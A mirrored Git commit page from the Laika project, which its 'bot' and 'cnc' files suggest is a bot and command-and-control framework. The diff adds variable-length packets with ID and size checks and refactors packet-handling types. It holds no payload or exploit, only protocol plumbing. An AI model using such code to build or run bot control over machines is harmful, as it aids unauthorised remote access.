mirror of
https://github.com/CPunch/Laika.git
synced 2024-11-24 05:31:03 +00:00
Added LAIKAPKT_VAR_REQ, enabling variable packets
- additional minor refactoring
This commit is contained in:
parent
2a0e34dd5a
commit
22df7e3702
@ -2,11 +2,11 @@
|
|||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "bot.h"
|
#include "bot.h"
|
||||||
|
|
||||||
size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
|
||||||
};
|
};
|
||||||
|
|
||||||
void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||||
switch (id) {
|
switch (id) {
|
||||||
case LAIKAPKT_HANDSHAKE_RES: {
|
case LAIKAPKT_HANDSHAKE_RES: {
|
||||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||||
|
@ -4,11 +4,11 @@
|
|||||||
|
|
||||||
#include "cnc.h"
|
#include "cnc.h"
|
||||||
|
|
||||||
size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||||
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
[LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
|
||||||
};
|
};
|
||||||
|
|
||||||
void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) {
|
void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
|
||||||
switch (id) {
|
switch (id) {
|
||||||
case LAIKAPKT_HANDSHAKE_REQ: {
|
case LAIKAPKT_HANDSHAKE_REQ: {
|
||||||
char magicBuf[LAIKA_MAGICLEN];
|
char magicBuf[LAIKA_MAGICLEN];
|
||||||
|
@ -4,10 +4,16 @@
|
|||||||
#define LAIKA_MAGIC "LAI\x12"
|
#define LAIKA_MAGIC "LAI\x12"
|
||||||
#define LAIKA_MAGICLEN 4
|
#define LAIKA_MAGICLEN 4
|
||||||
|
|
||||||
|
#define LAIKA_MAX_PKTSIZE 4096
|
||||||
|
|
||||||
enum {
|
enum {
|
||||||
LAIKAPKT_HANDSHAKE_REQ,
|
LAIKAPKT_HANDSHAKE_REQ,
|
||||||
LAIKAPKT_HANDSHAKE_RES,
|
LAIKAPKT_HANDSHAKE_RES,
|
||||||
|
LAIKAPKT_VARPKT_REQ,
|
||||||
LAIKAPKT_MAXNONE
|
LAIKAPKT_MAXNONE
|
||||||
};
|
};
|
||||||
|
|
||||||
|
typedef uint8_t LAIKAPKT_ID;
|
||||||
|
typedef uint16_t LAIKAPKT_SIZE;
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -11,13 +11,13 @@ struct sLaika_peer {
|
|||||||
struct sLaika_pollList *pList; /* pollList we're active in */
|
struct sLaika_pollList *pList; /* pollList we're active in */
|
||||||
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
|
void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
|
||||||
void *uData; /* data to be passed to pktHandler */
|
void *uData; /* data to be passed to pktHandler */
|
||||||
size_t *pktSizeTable; /* const table to pull pkt size data from */
|
LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */
|
||||||
size_t pktSize; /* current pkt size */
|
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||||
uint8_t pktID; /* current pkt ID */
|
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||||
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
|
||||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||||
|
|
||||||
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
bool laikaS_handlePeerIn(struct sLaika_peer *peer);
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
|
struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData) {
|
||||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||||
|
|
||||||
laikaS_initSocket(&peer->sock);
|
laikaS_initSocket(&peer->sock);
|
||||||
@ -39,6 +39,26 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) {
|
|||||||
|
|
||||||
peer->pktSize = peer->pktSizeTable[peer->pktID];
|
peer->pktSize = peer->pktSizeTable[peer->pktID];
|
||||||
break;
|
break;
|
||||||
|
case LAIKAPKT_VARPKT_REQ:
|
||||||
|
/* try grabbing pktID & size */
|
||||||
|
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (recvd != sizeof(uint8_t) + sizeof(LAIKAPKT_SIZE))
|
||||||
|
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT_REQ")
|
||||||
|
|
||||||
|
peer->pktID = laikaS_readByte(&peer->sock);
|
||||||
|
|
||||||
|
/* sanity check packet ID */
|
||||||
|
if (peer->pktID >= LAIKAPKT_MAXNONE)
|
||||||
|
LAIKA_ERROR("received evil pktID!\n")
|
||||||
|
|
||||||
|
/* try reading new packet size */
|
||||||
|
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||||
|
|
||||||
|
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||||
|
LAIKA_ERROR("variable packet too large!")
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
/* try grabbing the rest of the packet */
|
/* try grabbing the rest of the packet */
|
||||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||||
|
Loading…
Reference in New Issue
Block a user